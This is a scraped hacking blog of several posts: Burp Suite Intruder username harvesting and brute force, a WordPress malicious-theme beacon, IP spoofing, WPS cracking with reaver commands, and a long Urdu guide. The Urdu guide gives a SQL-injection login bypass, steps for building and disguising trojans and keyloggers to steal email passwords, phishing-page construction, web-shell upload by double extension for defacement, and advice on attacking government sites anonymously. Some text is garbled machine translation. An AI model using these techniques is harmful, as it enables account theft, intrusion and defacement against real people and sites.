- Grep - Match - As we show later after running attack can be individual server responses flagged whether they meet the conditions specified by us, or not. And this section is the place where these conditions can be defined.If we want to use the identification of individual responses, allow her choice Flag result matching items with responses proposition expressions.
  The table then place depending on the option you have selected under the table Simple string / Regex either specific strings, whose presence in the responses we verify or regular expressions.
  - Case sensitive match - determines whether a string comparison plays a role insensitive.
  - Exclude HTTP headers - off the search string in HTTP server responses. If we expect that the change in server behavior depending on the input will be reflected in some of these headers must uncheck this option.
  For our practical example we are harvesting user names take advantage of the fact that after entering the occupied login page displays the information "entered login is already used". This information is helpful for our resolution. Therefore, we clean the table, click on the Clear button, and put the list of a single record, which will be the string "login is". Avoid using accented characters, because the Burp Suite has problems, and we had intricately Czech characters encoding.
- Grep - Extract - This very useful tool allows you to extract from the website any data that varies depending on the submitted payload. As an example application that takes as a parameter the user id and in response to this request displays a Web page that contains the user name corresponding to the id. Harvest user names will be in this case a breeze, and because it's a nice example of the use Intruder, so this procedure later show.
  If you require extracting certain data from the website simply in this section, tick the Extract seuraavilla items from responses and click the Add button. Appears us another offer, in which we set static text, that is, before the desired place to extract (start after extraction) and static text that is behind him (at Enddelimiter). Can be selected but also the position of the first character string in the response (at Start offset)and the fixed length of the extracted string (End at fixed length), or a combination of these. The second variant, as can be required data in response target is to use regular expressions.
  The explanation we have two choices left undescribed election and one button:
  - Exclude HTTP headers - tick this option to drop the HTTP headers searched. Therefore, if data is to be extracted is located in these headers, the choice uncheck.
  - Update config based on selection bellow - a simple tool to facilitate configuration of the extraction rules. If you have this option checked, just in the area that displays the server RESPONSE mark required for extraction and string instrument we have automatically fills in all required fields.
  - Refretch response - Pressing this button we can try again to retrieve the code page, to verify that the required space correctly labeled.
  If we are focused sites for the extraction and extraction are allowed, it will be extracted for each area added to the test results, a new column that will contain the data was extracted.
- Grep - payloads - This area is determined by the testing reflected in the response payload display server.
  - Search for responses payload string - Turns search payload in response to the server. It may be useful for example when testing the application on reflected XSS. If we have a list of strings payload testing the XSS, this way we can test whether our projected directly input and output. Activating this option adds a new column test results with information about the (un) successful search.
  - Case sensitive match - Set the case must match the payload and the response.
  - Exclude HTTP headers - Excludes the search area HTTP response headers.
  - Match against pre-URL-encoded payloads - If you are sending some characters encoded with URL encoding, is likely to be on the server side decoded and displayed directly. To be encoded string of payload found in decoded form in the reply, this option must be checked.
- Redirections - Last section determines how it will behave Intruder when the server returns a status to redirect to another URL.
  - Follow redirections - We can thus specify whether redirects to follow or not, and if so, whether such anywhere, or only within the same domain or domains within which we put into the scope.
  - Proccess cookies in redirection - important choice that will affect whether at of redirect will also send cookies that we, together with a request to divert received. This option needs to be considered, we test the login form.

After that, we have successfully set all the required values, now is the right time to launch the test. To do this, we used the Start option attack available by clicking Intruder in the main menu above the tabs card modules.

If we have everything set up correctly, if we free version only receive notice of the fact that the Intruder in the free version is limited and then you can watch the new window the progress of the test.

Video showing the steps for harvest usernames

Harvest user names based on the user id

As I promised in the paragraph devoted Grep - Extract is using Intruder very easy to extract the content of user names based on their id (of course suffer if this type of Web application vulnerability logical). One known targets for this extraction as CMS Wordpress, which in this respect is sufficiently chatty.

Using Google dorks, it is possible to find several million Word Press, which we list our users quite happy to offer:

https://www.google.cz/?gws_rd=ssl#q=%22inurl:\%3Fauthor%3D1%22+intitle:admin

And now to the actual procedure, which I will describe in writing, but only via the video below.

We test password strength

At this point you should be able to independently test the password strength of individual users in our test webmail, which we are using the procedure described previously dug out an application. For sure it will only recall different variants of attacks that can be used for testing passwords.

Dictionary Attack (dictionary attack)

This type of attack to crack passwords trying to find the password in a dictionary (a file with a specific string). So if users use as your password, common words or names, their discovery using appropriate vocabulary relatively simple matter. On our site you can find some dictionaries in thedownload section.

Brute Force Attack (brute force attack)

Brute force attack is used at times when the password is a common word and dictionary methods to fail. However, if a user password is set too short, or know the characters of which a password is made, we can try to break it by this method that tries to use every possible combination of selected characters. In the case of a large keyspace is the use of this method is so time-consuming that password cracking is not feasible in a reasonable time.

Horizontal Attack

Horizontal attack means that we will test one password (or a few passwords) to all users. Let's say that one of the most common passwords in the Czech Republic, the word "password". Thus, let's try to use this password for all of us identified user accounts.

Vertical Attack

For vertical attack, we will try to break the password of a particular user (or a few users). It can be used in both dictionary attacks or brute force attack.

Complete Attack

By combining the horizontal and vertical variation of the attack we get when we will test all possible passwords for all user accounts application. This type of attack is very time-consuming.

All types of attacks you should be able to experience the Intruder Burp Suite of tools to handle themselves. For sure, but I attach one more video that captures some of the procedures.

www.youtube.com/embed/A1qMeU8-cBw

Conclusion

I believe that you are convinced of the fact that the module Intruder is a very useful tool which can test anything you can possibly think of. Mining logins and password crackers were just a small example of the wide spekra possibilities Intruder provides testers. The next time you test how applications handle if it receives a specific input, try to remember this tool and save you a lot of time that you would otherwise spent manually testing.

Hack HTTP Authentication with BURP SUITE

2015-05-15T04:59:00.000-07:00

Hacking http basic authentication dictionary attacks with burp suite free is our tutorial for today, we will use a tool called BURP suite.

If you just hear about BURP suite, here is the explanation from their website:

Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.
Burp gives you full control, letting you combine advanced manual techniques with state-of-the-art automation, to make your work faster, more effective, and more fun.

While writing this tutorial, I have no relations with portswigger.net, I write this tutorial on my behalf.

Explanation about HTTP basic authentication.

HTTP supports several authentication mechanisms. Upon a request for resource within a protected space the server should respond with authentication challenge using WWW-Authenticate header. In order to receive authorization the client should send requested identification information using Authorization header. When the client is not authorised a 401 “Unauthorised” response status is returned.

The simplest and most common HTTP authentication in use is Basic. The clients need to provide the credentials in a Base64 encoded string username:password. If the credentials are correct the web server returns the requested resource otherwise the server repeats the authentication challenge.

Requirements:

1. Download BURP suite at portswigger.net (in this tutorial I use the free edition) and install it.

2. Download the PHP login script I've already made to test BURP suite locally.

Download

Hacking HTTP Basic Authentication Dictionary Attacks with Burp Suite Free:

1. The PHP script on requirement number 2 is a simple log in page. You can copy it to your HTDOCS folder if you use XAMPP or WAMP for your web development platform. The picture below is the preview when I try to access it on my local system.

2. Run your BURP suite and change your browser proxy setting to run through BURP application. By default BURP will use port 8080, if you don't know how to change the browser proxy settings, you can view the tutorial how to configure browser proxy.

3. When proxy already set up, now we can access the login.php file. In this example, for testing purpose, I will input username = test and password = test. When we click the submit button(LOG IN), BURP will intercept the data as shown in the picture below.

Right click and choose "Send to Intruder".

4. On INTRUDER –> POSITIONS tab, change the attack type to "Cluster Bomb".

5. After finished setting up the attack type, we can move to PAYLOADS tab. To fill this PAYLOADS, see the picture on step 4

Payload set 1 = PHPSESSID (the value)

we will set up the same PHP SESSID value, because the system use a static PHPSESSID.

6. Now we will change the payload set number two, we're still on PAYLOADS TAB.

Payload set 2 = username (the value)

you can load the username data from username list. On the above example I input the username one by one.

7. On payload number three we will input the password.

Payload set 3 = password (the value)

on this step you also can load from a password list, but in above example I input the passwrd one by one.

8. The last PAYLOADS to set up is the submit parameter.

Payload set 4 = submit (the value)

since this submit is to check whether user click the button or not, we can make it the same value LOG+IN%21.

9. Every PAYLOADS has been set up successfully, now we will start the attack and watch BURP suite perform the attack automatically. Click Intruder and choose "Start Attack".

10. BURP suite itruder will check the username and password one by one. When there's matching username and password, you can view the length was changed. From this example we know that the username = admin and password = 123456

Conclusion:

1. To prevent this kind of attack, as a user you can do nothing, as developer you can do like GMail anti brute force system where every trying is logged by the system based on their IP address. If you try to log in and failed for several times, the system will force the user to solve the captcha.

2. As a developer you can do add the salt into username and password to make attack time much longer since you've add the salt, but in my opinion the first conclusion was better.

hope you found it useful

- See more at: http://www.hacking-tutorial.com/hacking-tutorial/hacking-http-basic-authentication-dictionary-attacks-with-burp-suite-free/#sthash.CmplcMHt.dpuf

Hack Wordpress with New Method 2015

2015-05-15T04:54:00.001-07:00

We will continue our hacking wordpress tutorial series, today title is Hacking WordPress: Send Email Secretly About Website Information. This tutorial was highly related with our last tutorial about WordPress hacking tutorials to add administrator user secretly.

As I already stated on the last wordpress hacking tutorial, "Do not think too complex about this tutorial, because we will learn this with approach to social engineering technique".

If last time we talk about how to add administrator user secretly when an attacker spread the malicious premium wordpress themes, now the attacker need to know the website that already used the malicious wordpress themes.

Requirements:

1. Understand PHP,

2. Know wordpress function,

3. Script to send email secretly (download below).

Step by step Hacking WordPress: Send Email Secretly About Website Information:

1. We want to know about the wordpress user information of a user. Let see the following script:

2. The script on step one if executed will show the details of active wordpress user (logged in). We will try to execute this script on my local wordpress server, and here is the results:

We can see from the picture above the username and password hash of the wordpress user.

3. Even we know the username and password hash, but we still need time to crack the password hash to get the plain password from the user.

On our last hacking tutorial about WordPress hacking tutorials to add administrator user secretly, we can add administrator secretly by spreading the malicious themes, but the problem is: "how do we know who already download the malicious wordpress themes?"

4. From the problem in step three, we will use the method to combine this tutorial WordPress hacking tutorials to add administrator user secretly and send the URL address of the infected website by inserting the following script.

Download the script (for subscribers only):

Download

5. When saw this email address, it's way too plain how if we encode it using base64_encode PHP function, and here is the result.

6. The script will send email secretly to the attacker containing the wordpress URL when victim logged in and browse his/her wordpress website.

Back Track - Tools List

2015-05-15T04:51:00.001-07:00

Backtrack

Backtrack is a Linux operating system for penetration testers and security professionals which is based onUbuntu.It is ideal for network infrastructure assessments,wireless cracking,system exploitation,digital forensics,social engineering and web application assessments.

You can run Backtrack from:

Hard Disk
Live DVD
Thumbdrive

Tool List

Backtrack includes most of the popular security tools such as:

Metasploit
Aircrack-NG
Kismet
Nmap
Ettercap
Wireshark
BeEF (Browser Exploitation Framework)
Hydra
OWASP Mantra
RFMON
SET

Website:

http://www.backtrack-linux.org/

”The quieter you become,the more you are able to hear”

Backtrack 5 KDE

What Is Spoofing ? How it Can Be DONE

2015-05-15T04:50:00.000-07:00

dnesday, February 20, 2013

Pull in traffic, get likes and followers, generate leads, get customers, increase profits using Facebook http://bit.ly/1c6awK7

The term IP (Internet Protocol) address spoofing refers to the creation of IP packets with a forged (spoofed) source IP address with the purpose of concealing the identity of the sender or impersonating another computing system.

Why it works ?
IP-Spoofing works because trusted services only rely on network address based authentication. Since IP is easily duped, address forgery is not difficult.
The main reason is security weakness in the TCP protocol known as sequence number prediction.

How it works ?
To completely understand how ip spoofing can take place, one must examine the structure of the TCP/IP protocol suite. A basic understanding of these headers and network exchanges is crucial to the process.

Internet Protocol (IP) :
It is a network protocol operating at layer 3 (network) of the OSI model. It is a connectionless model, meaning there is no information regarding transaction state, which is used to route packets on a network. Additionally, there is no method in place to ensure that a packet is properly delivered to the destination.

Examining the IP header, we can see that the first 12 bytes (or the top 3 rows of the header) contain various information about the packet. The next 8 bytes (the next 2 rows), however, contains the source and destination IP addresses. Using one of several tools, an attacker can easily modify these addresses – specifically the “source address” field.

Transmission Control Protocol (TCP) :
It is the connection-oriented, reliable transport protocol in the TCP/IP suite. Connection-oriented simply means that the two hosts participating in a discussion must first establish a connection via the 3-way handshake (SYN-SYN/ACK-ACK). Reliability is provided by data sequencing and acknowledgement. TCP assigns sequence numbers to every segment and acknowledges any and all data segments recieved from the other end.

As you can see above, the first 12 bytes of the TCP packet, which contain port and sequencing information.

TCP sequence numbers can simply be thought of as 32-bit counters. They range from 0 to 4,294,967,295. Every byte of data exchanged across a TCP connection (along with certain flags) is sequenced. The sequence number field in the TCP header will contain the sequence number of the *first* byte of data in the TCP segment. The acknowledgement number field in the TCP header holds the value of next *expected* sequence number, and also acknowledges *all* data up through this ACK number minus one.

TCP packets can be manipulated using several packet crafting softwares available on the internet.

The Attack
IP-spoofing consists of several steps. First, the target host is choosen. Next, a pattern of trust is discovered, along with a trusted host. The trusted host is then disabled, and the target's TCP sequence numbers are sampled. The trusted host is impersonated, the sequence numbers guessed, and a connection attempt is made to a service that only requires address-based authentication. If successful, the attacker executes a simple command to leave a backdoor.

Spoofing can be implemented by different ways as given below -

Non-Blind Spoofing :- This type of attack takes place when the attacker is on the same subnet as the victim. The sequence and acknowledgement numbers can be sniffed, eliminating the potential difficulty of calculating them accurately.

Blind Spoofing :- Here the sequence and acknowledgement numbers are unreachable. In order to circumvent this, several packets are sent to the target machine in order to sample sequence numbers.

Both types of spoofing are forms of a common security violation known as a Man In The Middle Attack. In these attacks, a malicious party intercepts a legitimate communication between two friendly parties. The malicious host then controls the flow of communication and can eliminate or alter the information sent by one of the original participants without the knowledge of either the original sender or the recipient. In this way, an attacker can fool a victim into disclosing confidential information by “spoofing” the identity of the original sender, who is presumably trusted by the recipient.

IP spoofing is almost always used in what is currently one of the most difficult attacks to defend against – Denial of Service attacks, or DoS.

CounterMeasures

1) Filtering at the Router :- Implementing ingress and egress filtering on your border routers is a great place to start your spoofing defense. You will need to implement an ACL (access control list)

2) Encryption and Authentication :- Implementing encryption and authentication will also reduce spoofing threats. Both of these features are included in Ipv6, which will eliminate current spoofing threats.

Collection of Best DNS Pentesting - Explained TUT

2015-05-15T04:45:00.000-07:00

1st

http://www.youtube.com/watch?v=mC-Lp6b50t0

2nd

http://www.youtube.com/watch?v=i73ujuj5Nak

3rd

http://www.youtube.com/watch?v=RJSYTIMu5tU

4th

http://www.youtube.com/watch?v=MdErtUKlRrQ

5th

http://www.youtube.com/watch?v=uy9Z6C8vVRw

6th

http://www.youtube.com/watch?v=lIvZPB4fm8o

7th
http://www.youtube.com/watch?v=i-KMGQvDOUc

How to be a Hacker ? What Are Procedures ? In URDU - Special TUT

2015-05-15T04:32:00.000-07:00

H-1 Hacking means Get the Admin Rights on any Site and Upload ur Deface.In simple words, You can say that it means Breaking the Security

H-2 Hacking karte waqt in par amal karna!
1) I.p change ya hide krna..
2) Kabi government ki sites ko mat cherna..
3) Agar g0vernment sites ko cherna ha to apne pc se kbi mat cherna! Matlb net cafe se hack krna!
4) Indian gov ki site chahe jahan se marzi hack kro koi tmhn kuch ni kahe ga.. Reason cyber war!
Is k mutaliq ager koi question ha to p0cho.. Phr next start karte hain

H-3 While hacking you've to hide your ip in order to defence. Get ip info from www.ip2location.com

H-4 Kuch ehm chzn jo k hacking mein bht Zada help ful hain!
Dorks
Exploits
Deface pages
Shells
Scanner

H-5 JiN Frnz k Pas NeT Availble hai or Web HckinG Mai Intrestd hain. Wo Facebok pe Group join kren.
Pakistan Urduhack security team

H-6 pc 2 securty haking
www.code.box.sk
www.rootshell.com
www.cyberarmy.com
www.search.cai.com
www.xforce.iss.net
www.infowar.com
www.codes.ing.com

H-7 Learn hacking and internet security (id hacking, google hacking, wifi hacking, IP hacking, keylogging) e.t.c by Visiting Www.itshine.tk

H-8
For hacking turorials:
1.http://***.ly/1Z8Yz
2.http://***.ly/1Z930
3.http://***.ly/1ZbUi
4.http://***.ly/1ZZXI
5. http://***.ly/1Z8wI

H-9 Agr ap hacking knowledge hasil krna ha to visit with detail
www.hack.co.za
www.rootabega.org
www.rootshell.com
www.insecure.org/sploits

H-10 Just jo web hck krte ho us ka link whan ja k notify k tab mai ja k dy do apne nam se ya ksi or k nam se. . But naam cnfrm kr lena tmary nam ka agr whan alrdy koi ho to tmari sites b us k hsy mai jain gi. . . Us ka rank bry ga

H-11 Is k lye manual meth0d b hai aur kuch softwarez b hain! Manual meth0d se zada tar i.p trace ho jata ha! Aur softwarez se ni h0ta!

H-12
Jis website ko hack karne he us k last me admin/login.php likho.
jese facebook.com/admin/login.php
Aur
Username: admin
Pswrd:
'or"='
('or"=') ye posword he try it now.

H-13 'or"=' ye SQLI ki basic ha web ki programing ka fault ha or yo ha 'or'1'='1 basically query run ho rahi ha ya ek true statement ha so login ho jahy ga.

p-14.0 MagicPs 1.5 Jst for Yahoo id and paswrd stealing. Dwnload it frm 4shared.com Before using it disable ur anti virus. . kiu k ye ek Trojan hai.AntiVirus isy detect krta hai as a VIRUS or delete mar daita hai.....
ye software Instal kro ye ek chota sa trojan soft hai. Sb setting kro us mai. eg apni yaho id type kro js pe wo paswrd snd kre ga. file name select kro pic exe rar koi file type select kro. Fake eror koi selectr kr k. Create mps pe click kr do.

H-14 Instal kro ye ek chota sa trojan soft hai. Sb setting kro us mai. eg apni yaho id type kro js pe wo paswrd snd kre ga. file name select kro pic exe rar koi file type select kro. Fake eror koi selectr kr k. Create mps pe click kr do.

H-15 Targets ko leke hack krna to CEH k lye b 60% chances h0te hen btw if i try 20% chances hoskte hen. Or me g00gle index query he use krta hu btw aksar scannerz use krta hu. Or hacking k lye u mst knw bout c0mplete sql injection... Wo b Manually .. site ko hack krte waqt week point h uske security or b kch wholes means weak point h0te hen

H-16 Guest. . Ya user acount ma cmd open kr k Type kren. Net User Administrator asdfg Enter kr den. Asd paswrd lag jai ga. Admin ka paswrd. . Ya Run mai type kren. Lusrmgr.msc or yhan se paswrd set kren. .

H-17 I.p Matlb Internet protoc0l..
Har Internet connection ka i.p hota ha jis se ap ki p0siti0n ko trace kia ja skta ha! Wo kuch is tarhan k h0te hain
192.168.1.1 etc

H-18 Jo web vub gi usi ma login ho ga / chracter use karny say ya vub khatam ho jata ha or hr web ma admin bi ni hota.

H-19 Site hack kr k har hacker Miror ki boht si sites hain un mai ksi pe b hckd site ka miror dy dta hai. . . Yhan har hckr ka sara record hota hai. . Mai ne jhan ki ranking btai wo Mirror.sec-t.net web hai. . .

H-20 Free Program For Hack Password:
http://www.mediafire.com/?dncqqjpe3r5pz3s
Its 100% Working

H-21 One of best software 4 cracking is ws32dsm if u want 2 learn cracking then visit astatalk.com

H-22
www.Hackerbradri.Net
Download Hacking E-Book Name Of Book Is Google Hacks,
Web Hacking Through Google in Urdu Edition

H-23 Sony: Hacker stole PlayStation users' personal info http://on.cnn.com/gxgr7k

H-24 Hacking Tip: Hacking ke liye aik software use hota hai us software ka naam hai "magicps.1.5" search Link: www.4shared.com

H-25 For hacking a web u will need.
1. sql helper v 2.7
2. exploit scanner
3. Havij for admin finder and Md5
4. Dorks

H-26 There R 5 Methods of Hacking Email IDs:
Fake Login Pages-
Cookie Stealing-
Social Engineering-
Brute Forcing-
Trojans or Keyloggers.
And Once More u can ask the paswrd frm the ownr of that id!

H-27 Email Hacking by Software:
Email Hacking k liye ek Software use hoti hai jo Internet se purchase karni hoti hai. Is mein zyada tar fraud hota hai. Aksar Softwares work karti hain aur aksar nahi.

H-28 Email Hcking by Cracking:
Is k lie b ek Software use hoti ha.Is Software me Victim ki Id rkhni hoti ha or kuch Paswrds hote hn.Id r Paswrd is Software me rkh kr Crack krni hoti hn.Ye method thora mushkil hota ha jiski wja se aksr Hackrz is Software se Hack ni kr skte

H-29 Email Hacking by Fake Pages:
Ye ek page hota hai jo kisi victim ko dhoka dene k liye banaya jata hai ya bana banaya Download kya jata hai. Ye sub se easy method hai Email Hacking ka

H-30 *Hacking*
1.Arbitary File Deletion
2.Code Execution.
3.Cookie Manipulation
4.CRLF Injection
5.Cross Frame Scripting (XFS)
6.Cross Site Scripting (xss)
7.Directory Traversal
8.Email Injection.
9.File inclusion.
10.Full path Disclosure.
11.LDAP injection.
12.PHP code Injection
13.Remote XsL inclusion.
14.SSI injection
15.SQL injection
16.URL Redirection
17.xPath Injection.
18.CSRF
19.LFI
20.RFI

H-31
Common Web Hacking Methods.
1. Cross Site Scripting (xss) 2. Cross Site Request Forgery (CSRF)
3. Click jacking
4. Gifar 5.
Url Fram injection
6. SQL injection
7. Local file Inclusion (LFI)
8. Remote file inclusion (RFI)

H-32 Hacking ki kuch terms use h0ti hain!
Jaise:
"N0obs" matlb k begineer hai.. Jo bunda abi begineer ho new new hacking sekh raha ho..
2) "Vulnubrle" matlb jo site hack ho ske..

H-33 Hacking meth0ds Ye Hain:
XSS
DNN
RFI
LFI
SQL INJECTI0N
IIS
ROOTING
BYPASS L0GIN
Rooting ki agey bohat types hain!

H-34 How To Hack A Yahoo Messenger's Password ?
Th3r3 A Lot Of Ways
1:with Mps Jo Easy hai.
2:with Keylogger ,sa App Facebook,Msn etc b hack kar sakta ho.
3: fake page Hai isi sa app B yahoo,facebook,msn etc hack kar sakta ho lakin sub k Fake page different hai

H-35
> Ye nishan jhan hai whan just enter pres krna hai ye type na kr dna >
4. . 5 lines hain. Words daikh lo case sensitive hai. Jese whan likhe hn same usi tara capital smal leter use krne hn. .

H-36 AGR Ap kisi ka B(Facebok,yaho)Acount Hack krna Chahty ha To Downlod This Software"LOGIN SPOOFER"Make Fake Pages & Hack 0ther's Account

H-37
P1
Keylogger na to koi Software hota ha or na hi koi Virus.Balke ye Tool hota ha jis se ap apna Virus bnate hn.Ye Virus ap Victim ko bhejte hn.Is pr Click krty hi ye Victim k press hone wale Keys ko save kr k ap tk puhunchata ha.
Ardamax Keylogger sb se best ha.Is me ap Victim k Screen Shots b hasil kr skte hn.Keylogger se Virus bnate huwe apko kisi Web Hosting ka Username or Password dena ha,Jahan pr apke Victim k Passwords save hote jaenge.Byethost.com best ha Keylogging k liye.Yahan apna Account bnaen or Vista Panel me login ho jaen.Samne right side pr apka Ftp Username show ho rha hoga.Ye Ardamax me Virus bnate huwe Copy Paste kr den

H-38
P2
Aap Tutorial, Video aur Ardamax yahan se Download kar sakte hain:
http://tinyurl.com/h4ckerkey
Ardamax mein Hosting ki details dene k baad Ok karen. Virus Ready. Ab is ko Crypter mein daal kar (Ye Keylogger k saath download karen) Virus ka Icon change kar k koi Image bana len, taake Victim ko shak na ho. Aur jab Victim is par Click kar k Open karega to uska Pc gaya....
-----EnD-----

H-39
keylogger Software se Yaho Facebook Msn Hotmail gmail Sb idz hack ki ja skti hain. .
Keyloger boht se hain.
Ardamax keyloger
Perfect keyloger
Stealth keyloger
Silent keyloger Etc. .
Sb k use krne ka method same hai. Ak Trojan file create krte hn. Usy koi b icon dy kr ksi b extention (.dat .avi .jgp .exe) mai cnvrt kr k us file ko mail kr diya jata hai js ki id hck krni ho. Agr wo bnda wo file pic, open kr le.
To wo keybord ki jo b key pres kre ga wo ap ko mail mai mile ga. Us k sb pwd mil jain ge. Us k pc ki screen print. Pics b

H-40 Pc keyloger se nai Trojan se hack krte hain. loger se to jst Keybrd k key log hote hn or Prntscren le skte hn etc. or Trojan se kafi control ajata hai. is wqt Pro Rat Trojan he zyada use hony wala Trojan hai. Tutorial Hito k Blog pe mil jai ga. funvirus.tk

H-41 Keylogger : Keylogger Ek Software Hai Jo www.Itshine.tk Mai B Hai Ya Google sa Find karo Isi download karo Our Ek Torjan File Banao Our Isi File Ko send karo isi O Jitna b Keys press kara gay Keyboard k O sub save ho kar app k email kar day gay... Next hai fake page.

H-42
Fake page se hacking karne ko phising kehte hain!

H-43
P1
today i will sharing hw 2 make fakepage of any web so first of all open web i.e facebook.com then right cick n go 2 option view source or

H-44
P2 open source depend upon ur browser nw u hv a html script nw select all (ctrl+a)then copy it (ctrl+c) then open a notepad and past(ctrl+v)

H-45
P3
it there n save(ctrl+s) it as index.html nw in notepad find (ctrl+f) and action nw u will get an address in "" just remove that address and past

H-46
P4
pass.php download a little php script 4rm tinyurl.com/fakephp open it in notepad u will find web address change it 2 redirect web i.e facebook.com

H-47
P5
Now upload these files 2 free hosting web like 110mb.com, 00abiz.com, my-php.net ect there in ftp u will find a folder go in it then there

H-48
P6
there u will find index.html replace it 2 ur files u cn also upload more fake pages by creating new direction i.e facebook, yahoo
*end*

H-49 YAHOO ID password and ID stealing k liye MagicPs 1.5 Ya MPS ++ Down load kren. Its a trojan use it at ur own risk. www.ITshine.tk

H-50 Create mps se wo ek file create kre ga js ko ap ne zip, rar mai rakh k us id pe mail krna hai js ki id hck krni hai. Agr wo usy open kr leta hai. Pictr smj k to us ki id, paswrd tmari id pe recive ho jai gi by mail

H-51
Magic++ (Mps) App Www.ITshine.tk Sa Download Karo our Open karo Ek Torjan File Banao Isi K Bad O File isi ko send karo kis k Yahoo K pass hack karna hai ok Jab o open kara gay isi K PassWord app k Pass and enjoy

H-52 MagicPs 1.5 Jst for Yahoo id and paswrd stealing. Dwnload it frm 4shared.com Before using it disable ur anti virus. . kiu k ye ek Trojan hai. Anti

H-53 Instal kro ye ek chota sa trojan soft hai. Sb setting kro us mai. eg apni yaho id type kro js pe wo paswrd snd kre ga. file name select kro pic exe rar koi file type select kro. Fake eror koi selectr kr k. Create mps pe click kr do.

H-54 Create mps se wo ek file create kre ga js ko ap ne zip, rar mai rakh k us id pe mail krna hai js ki id hck krni hai. Agr wo usy open kr leta hai. Pictr smj k to us ki id, paswrd tmari id pe recive ho jai gi by mail

5 Steps and You Hacked the WIFI - Best Method Ever

2015-05-15T04:27:00.001-07:00

Requirements:

1. Wireless card (support promiscuous mode)

In this tutorial I use ALFA AWUS036H from Amazon.

2. Access point with WPA2 and WPS enables

5 Steps Wifi Hacking – Cracking WPA2 Password:

1. Open our terminal (CTRL+ALT+T) and type airmon-ng (view tips and tricks how to create keyboard shortcut on kali linux)

this command will lists our wireless card that attached with our system.

2. The next step we need to stop our wireless monitor mode by running airmon-ng stop wlan0

3. Now we ready to capture the wireless traffic around us. By running airodump-ng wlan0 our wireless interface will start capturing the data.

From the picture above, we can see many available access point with all the information. In the green box is our victim access point which is my own access point

Information:

BSSID (Basic Service Set Identification): the MAC address of access point

PWR: Signal level reported by the card.

Beacons: Number of announcements packets sent by the AP

#Data: Number of captured data packets (if WEP, unique IV count), including data broadcast packets.

#/s: Number of data packets per second measure over the last 10 seconds.

CH: Channel number (taken from beacon packets).

MB: Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g.

ENC: Encryption algorithm in use.

CIPHER: The cipher detected. TKIP is typically used with WPA and CCMP is typically used with WPA2.

AUTH: The authentication protocol used.

ESSID: Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated.

4. From the step 3 above, we can find access point with encryption algorithm WPA2 and note the AP channel number. Now we will find out whether target AP has WPS enabled or not.

wash -i wlan0 -c 8 -C -s

if the WPS Locked status is No, then we ready to crack and move to step 5.

5. The last step is cracking the WPA2 password using reaver.

reaver -i <your_interface> -b <wi-fi victim MAC address> –fail-wait=360

Because we already get the information from step 3 above, so my command look like this:

rreaver -i <your_interface> -b <wi-fi victim MAC address> –fail-wait=360
Because we already get the information from step 3 above, so my command look like this:
reaver -i wlan0 -b E0:05:C5:5A:26:94 –fail-wait=360

it took about 5 hours to crack 19 characters WPA2 password (vishnuvalentino.com) from my Kali virtualBox, but it depend with our hardware and wireless card.
Conclusions:
1. WPA and WPA2 security implemented without using the Wi-Fi Protected Setup (WPS) feature are unaffected by the security vulnerability.
2. To prevent this attack, just turn off our WPS/QSS feature on our access point.

Hacking Lecture - 1st Class in URDU

2015-05-15T04:23:00.001-07:00

P1 Salam Friends Ajj main apko Basic Hacking Sikhata hoon. kisi bhi site ko hack aur control karny keley shell use kia jata hai. shell basicly php main bna aik software hai. jo aik tara sy site ky control panel ke tara kaam karta hai. shell ky control panel sy hum web site ke tamam files ko access karskty hain aur unhain apni marzi sy change karskty hain.

P2 shell sy hum apna deface page site pr lga skty hain. http://www.mediafire.com/?rit3gbeol8ia9c7 sy app shell download karlain.ismain bohat sary shell hoon gain. app koi bhi use kar skty hain. abb sawal yeh paida hota hai ky hum shell kisi site main upload kaisy karin. shell upload krny ky bohat sy tariqy hain. kuch simple hain aur kuch advance.ismain sy main apko aik simple tariqa btaon ga.

P3 iss tariqy main hum site main search karin gain ky usmain kahin uploading ke option hai ya nahin. agar site waly nay uploading ka procedure simple bnaya ho. aur just little aur simple programing use ke hai. tu hum us site ko hack karskty hain.
aur agar uploading method main security ka khyal rkha gia ho tu kaam nahin bn skta aur hum koi aur method use karin gain.

P4 uploading shell method kelye hum google dorks use karin gain. just google main type karin. inurl:upload.php is sy hamary pass woh tamam sites ajain ge jin main files. images uploading ke option ho ge. 1st 30, 35 sites ko chor kr next sites main search karin, kionky woh hackers ky tahty mashq ka shikar ho chuki hoon ge,

P5 upload karny kelye apko pehly shell ke extenstion change karna ho ge, taa ky site ke programing samaj na pai ky woh php file hai ya koi image, c99.php aik best shell hai. usy c99.php.gif sy rename karin. shell ki file pr picture ka icon bn jai ga. ab us file ko site pr upload karin agar koi error ajai tu samaj lain yeh site secure hai aur kisi aur site pr try karin.

P6 shell upload karny ky baad hum ny us shell ko site main search karna hai. ky woh kis jaga upload hoa hai, basicly site main file saving aur storing keleye aik alag folder bnaya jata hai. ziada tr uska link yeh hota hai. www.indiansite.com/upload/images.gif shell keley hum yeh link check karin gain.www.indiansite.com/upload/c99.php.gif.

P7 agar is page pr show ho image "not show" tu samaj lain ky yahe hamar shell hai aur link main sy gif ko remove kardain www.indiansite.com/upload/c99.php apka shell open ho jai ga aur site ka control apky hath main ajai ga. agar upload waly folder main woh shell nahin mil raha tu use your mind aur isky lye apko cpanel, root folders aur web development ka thora sa concept rkhna zaroori hai.

P8 aik hacker ko webdevelopment, IT aur internet ky bary main basic knowldge rkhna zaroori hai. jo shaks inmain thori bohat bhi maharat rkhta hai. hacking usky lye bohat easy rehti hai.shell search karny ky bad apko iska control panel mil jai ga. khud he ya kisi achay software sy deface page bnaina aur usy upload kardain.

P9 aik acha hacker woh hota hai jo kisi ke site, uski maheeno ke mehnat ko zaya nahin karta. kbhi bhi testing site pr main page pr deface page na lagain. just aik alag page deface page ka upload karin. aur uska just link share karin. aur app agar bory bed hacker hain tu jo chahy karin. agar apko Allah ka darr nahin hai.

P10 kisi aam bndy ki site hack karky Islam aur Pakistan ka banner laga kr app usy Islam aur Pakistanio sy Bad zan karty hain. Islam aur Pakistan ka naam wahe use karin jahan iske zaroora ho jo anti Islamic ya Anti Pakistani sites hon. Bad Language use karny sy aik tu hum bhi Guneghar hoty hain dosra hamara Tashakus aur hamary kirdar as a Musalman aur Pakistani Kharab hota hai.

